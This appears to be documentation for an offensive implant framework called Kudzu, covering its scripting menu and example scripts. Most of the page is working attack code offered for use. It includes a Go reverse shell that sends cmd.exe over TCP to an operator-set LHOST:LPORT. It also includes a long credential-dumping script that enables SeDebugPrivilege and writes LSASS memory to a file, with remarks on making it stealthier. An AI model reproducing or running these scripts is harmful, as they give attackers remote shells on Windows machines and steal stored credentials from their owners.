Scripts
The Scripts menu provides access to the underlying Kudzu Scripting API. This will be where our exploits reside, and where we test new features/modifications.
<kudzu> scripts
<kudzu scripts> help
run: executes kudzu script
usage: run hello.kzs
load: loads kudzu script for use and prints options
usage: load hello.kzs
ls/list: lists scripts available
usage: list
Get Kudzu script info
<kudzu scripts> load hello.kzs
hello.kzs is a test script demonstrating Kudzu's use of go templates
and the yaegi interpreter.
Options:
LHOST
RHOST
CMD
Set script options and run script
<kudzu scripts> setop Lhost 127.0.0.1
<kudzu scripts> setop Rhost 1.1.1.1
<kudzu scripts> setop cmd tesing this is a command
<kudzu scripts> run hello.kzs
Output:
Hello from kudzu!
127.0.0.1
1.1.1.1
CMD: tesing this is a command
Kudzu Scripting
Kudzu leverages an embedded interpreter and golang templates to generate and execute custom scripts. The info command parses the initial comment, or Kudzu Header, identified by the /*{ }*/ field. Kudzu scripts will not load without this header.
Examples
hello.kzs
/*{
hello.kzs is a test script demonstrating Kudzu's use of go templates
and the interpreter.
Options:
LHOST
RHOST
CMD
}*/
package main
import "fmt"
func main() {
fmt.Println("Hello from kudzu!")
fmt.Println("{{.LHOST}}")
fmt.Println("{{.RHOST}}")
test := "{{.CMD}}"
fmt.Println("CMD:", test)
}
simple_implant.kzs
/*{
Description: Simple go reverse shell, provides cmd.exe over tcp
Options:
LHOST
LPORT
}*/
package main
import (
"log"
"net"
"os/exec"
)
func main() {
revcon, err := net.Dial("tcp", "{{.LHOST}}:{{.LPORT}}")
if err != nil {
log.Println(err)
}
cmdproc := exec.Command("cmd.exe")
cmdproc.Stdout = revcon
cmdproc.Stdin = revcon
cmdproc.Run()
}
A touch more in depth
Above is a relatively basic example of the capabilities, here we dig a little deeper. This script, kashdump.kzs, is a bit of a monster, but since we are delivering the entire payload in one file, things grew out of hand. The important parts are related to how we gain access to a process token, enable SeDebug privileges, and finally dump memory from LSASS. Note that this is not opsec safe in the slightest, we are writing a memory dump directly to the directory in which our implant is running. Good improvements on this would implement a write to buffer/memory instead of write to file, but that will be for a future weekend (or someone else!)
TLDR: We can do some pretty advanced and very useful stuff. Check out main() and dumplsass()
/*{
Name: KashDump
Description: dumps lsass to file called lsa.dmp
Options:
None
}*/
package main
//privilege and impersonation stuff thanks to go-winio. Thanks Microsoft!
import (
"bytes"
"encoding/binary"
"fmt"
"log"
"runtime"
"sync"
"syscall"
"unicode/utf16"
"unsafe"
)
const (
SE_PRIVILEGE_ENABLED = 2
ERROR_NOT_ALL_ASSIGNED syscall.Errno = 1300
SeBackupPrivilege = "SeBackupPrivilege"
SeRestorePrivilege = "SeRestorePrivilege"
)
const (
securityAnonymous = iota
securityIdentification
securityImpersonation
securityDelegation
errnoERROR_IO_PENDING = 997
)
var (
privNames = make(map[string]uint64)
privNameMutex sync.Mutex
modadvapi32 = syscall.NewLazyDLL("advapi32.dll")
procAdjustTokenPrivileges = modadvapi32.NewProc("AdjustTokenPrivileges")
procConvertSecurityDescriptorToStringSecurityDescriptorW = modadvapi32.NewProc("ConvertSecurityDescriptorToStringSecurityDescriptorW")
procConvertSidToStringSidW = modadvapi32.NewProc("ConvertSidToStringSidW")
procConvertStringSecurityDescriptorToSecurityDescriptorW = modadvapi32.NewProc("ConvertStringSecurityDescriptorToSecurityDescriptorW")
procGetSecurityDescriptorLength = modadvapi32.NewProc("GetSecurityDescriptorLength")
procImpersonateSelf = modadvapi32.NewProc("ImpersonateSelf")
procDuplicateToken = modadvapi32.NewProc("DuplicateToken")
procOpenProcessToken = modadvapi32.NewProc("OpenProcessToken")
procLookupAccountNameW = modadvapi32.NewProc("LookupAccountNameW")
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
procLookupPrivilegeNameW = modadvapi32.NewProc("LookupPrivilegeNameW")
procLookupPrivilegeValueW = modadvapi32.NewProc("LookupPrivilegeValueW")
procOpenThreadToken = modadvapi32.NewProc("OpenThreadToken")
procRevertToSelf = modadvapi32.NewProc("RevertToSelf")
errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
errERROR_EINVAL error = syscall.EINVAL
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
procGetCurrentThread = modkernel32.NewProc("GetCurrentThread")
)
type PrivilegeError struct {
privileges []uint64
}
func main() {
err := RunWithPrivilege("SeDebugPrivilege", dumplsass)
if err != nil {
log.Println(err)
}
}
func dumplsass() error {
snapshot, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
log.Println("snapshot:", err)
}
var procentry syscall.ProcessEntry32
procentry.Size = uint32(unsafe.Sizeof(syscall.ProcessEntry32{}))
targname := [260]uint16{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}
err = syscall.Process32First(snapshot, &procentry)
if err != nil {
log.Println(err)
}
var pid uint32
for {
if procentry.ExeFile == [260]uint16(targname) {
fmt.Println("success!")
pid = procentry.ProcessID
}
err = syscall.Process32Next(snapshot, &procentry)
if err != nil {
break
}
}
fmt.Println(pid)
lhandle, err := syscall.OpenProcess(0x1F0FFF, false, pid)
if err != nil {
log.Println("openprocess:", err)
}
outfile, err := syscall.CreateFile(syscall.StringToUTF16Ptr("lsa.dmp"), syscall.GENERIC_ALL, 0, nil, syscall.CREATE_ALWAYS, syscall.FILE_ATTRIBUTE_NORMAL, int32(0))
if err != nil {
log.Println("createfile:", err)
}
defer syscall.Close(outfile)
//get minidumpwrite
dbgcore := syscall.NewLazyDLL("Dbghelp.dll")
minidumpwrite := dbgcore.NewProc("MiniDumpWriteDump")
//apparently we want incorrect parameters? Shoutout C_Sto, the real GOAT
isdumped, _, err := minidumpwrite.Call(uintptr(lhandle), uintptr(pid), uintptr(outfile), 3, 0, 0, 0)
if err != nil {
log.Println("isdumped:", err)
}
fmt.Println(isdumped)
return err
}
func RunWithPrivilege(name string, fn func() error) error {
return RunWithPrivileges([]string{name}, fn)
}
// RunWithPrivileges enables privileges for a function call.
func RunWithPrivileges(names []string, fn func() error) error {
privileges, err := mapPrivileges(names)
if err != nil {
return err
}
runtime.LockOSThread()
defer runtime.UnlockOSThread()
token, err := newThreadToken()
if err != nil {
return err
}
defer releaseThreadToken(token)
err = adjustPrivileges(token, privileges, SE_PRIVILEGE_ENABLED)
if err != nil {
return err
}
return fn()
}
func mapPrivileges(names []string) ([]uint64, error) {
var privileges []uint64
privNameMutex.Lock()
defer privNameMutex.Unlock()
for _, name := range names {
p, ok := privNames[name]
if !ok {
err := lookupPrivilegeValue("", name, &p)
if err != nil {
return nil, err
}
privNames[name] = p
}
privileges = append(privileges, p)
}
return privileges, nil
}
func adjustPrivileges(token syscall.Token, privileges []uint64, action uint32) error {
b := new(bytes.Buffer)
binary.Write(b, binary.LittleEndian, uint32(len(privileges)))
for _, p := range privileges {
binary.Write(b, binary.LittleEndian, p)
binary.Write(b, binary.LittleEndian, action)
}
prevState := make([]byte, b.Len())
reqSize := uint32(0)
bbytes := b.Bytes()
bptr := &bbytes[0]
success, err := adjustTokenPrivileges(token, false, bptr, uint32(len(prevState)), &prevState[0], &reqSize)
if !success {
return err
}
return nil
}
func adjustTokenPrivileges(token syscall.Token, releaseAll bool, input *byte, outputSize uint32, output *byte, requiredSize *uint32) (success bool, err error) {
var _p0 uint32
if releaseAll {
_p0 = 1
}
r0, _, e1 := syscall.Syscall6(procAdjustTokenPrivileges.Addr(), 6, uintptr(token), uintptr(_p0), uintptr(unsafe.Pointer(input)), uintptr(outputSize), uintptr(unsafe.Pointer(output)), uintptr(unsafe.Pointer(requiredSize)))
success = r0 != 0
if true {
err = errnoErr(e1)
}
return
}
func (e *PrivilegeError) Error() string {
s := ""
if len(e.privileges) > 1 {
s = "Could not enable privileges "
} else {
s = "Could not enable privilege "
}
for i, p := range e.privileges {
if i != 0 {
s += ", "
}
s += `"`
s += getPrivilegeName(p)
s += `"`
}
return s
}
func getPrivilegeName(luid uint64) string {
var nameBuffer [256]uint16
bufSize := uint32(len(nameBuffer))
err := lookupPrivilegeName("", &luid, &nameBuffer[0], &bufSize)
if err != nil {
return fmt.Sprintf("<unknown privilege %d>", luid)
}
var displayNameBuffer [256]uint16
displayBufSize := uint32(len(displayNameBuffer))
var langID uint32
err = lookupPrivilegeDisplayName("", &nameBuffer[0], &displayNameBuffer[0], &displayBufSize, &langID)
if err != nil {
return fmt.Sprintf("<unknown privilege %s>", string(utf16.Decode(nameBuffer[:bufSize])))
}
return string(utf16.Decode(displayNameBuffer[:displayBufSize]))
}
func lookupPrivilegeDisplayName(systemName string, name *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _lookupPrivilegeDisplayName(_p0, name, buffer, size, languageId)
}
func _lookupPrivilegeDisplayName(systemName *uint16, name *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func lookupPrivilegeName(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _lookupPrivilegeName(_p0, luid, buffer, size)
}
func _lookupPrivilegeName(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func errnoErr(e syscall.Errno) error {
switch e {
case 0:
return errERROR_EINVAL
case errnoERROR_IO_PENDING:
return errERROR_IO_PENDING
}
return e
}
func newThreadToken() (syscall.Token, error) {
err := impersonateSelf(securityImpersonation)
if err != nil {
return 0, err
}
var token syscall.Token
err = openThreadToken(getCurrentThread(), syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, false, &token)
if err != nil {
rerr := revertToSelf()
if rerr != nil {
panic(rerr)
}
return 0, err
}
return token, nil
}
func releaseThreadToken(h syscall.Token) {
err := revertToSelf()
if err != nil {
panic(err)
}
h.Close()
}
func impersonateSelf(level uint32) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateSelf.Addr(), 1, uintptr(level), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func openThreadToken(thread syscall.Handle, accessMask uint32, openAsSelf bool, token *syscall.Token) (err error) {
var _p0 uint32
if openAsSelf {
_p0 = 1
}
r1, _, e1 := syscall.Syscall6(procOpenThreadToken.Addr(), 4, uintptr(thread), uintptr(accessMask), uintptr(_p0), uintptr(unsafe.Pointer(token)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func getCurrentThread() (h syscall.Handle) {
r0, _, _ := syscall.Syscall(procGetCurrentThread.Addr(), 0, 0, 0, 0)
h = syscall.Handle(r0)
return
}
func revertToSelf() (err error) {
r1, _, e1 := syscall.Syscall(procRevertToSelf.Addr(), 0, 0, 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func lookupPrivilegeValue(systemName string, name string, luid *uint64) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
var _p1 *uint16
_p1, err = syscall.UTF16PtrFromString(name)
if err != nil {
return
}
return _lookupPrivilegeValue(_p0, _p1, luid)
}
func _lookupPrivilegeValue(systemName *uint16, name *uint16, luid *uint64) (err error) {
r1, _, e1 := syscall.Syscall(procLookupPrivilegeValueW.Addr(), 3, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(luid)))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
Some things ive realized, we are sorta limited to the standard libraries (including syscall and unsafe) so extra massaging is required to avoid using external libs. I don't see a way around this, so get used to digging into source code and re-implementing things!
Last updated
Was this helpful?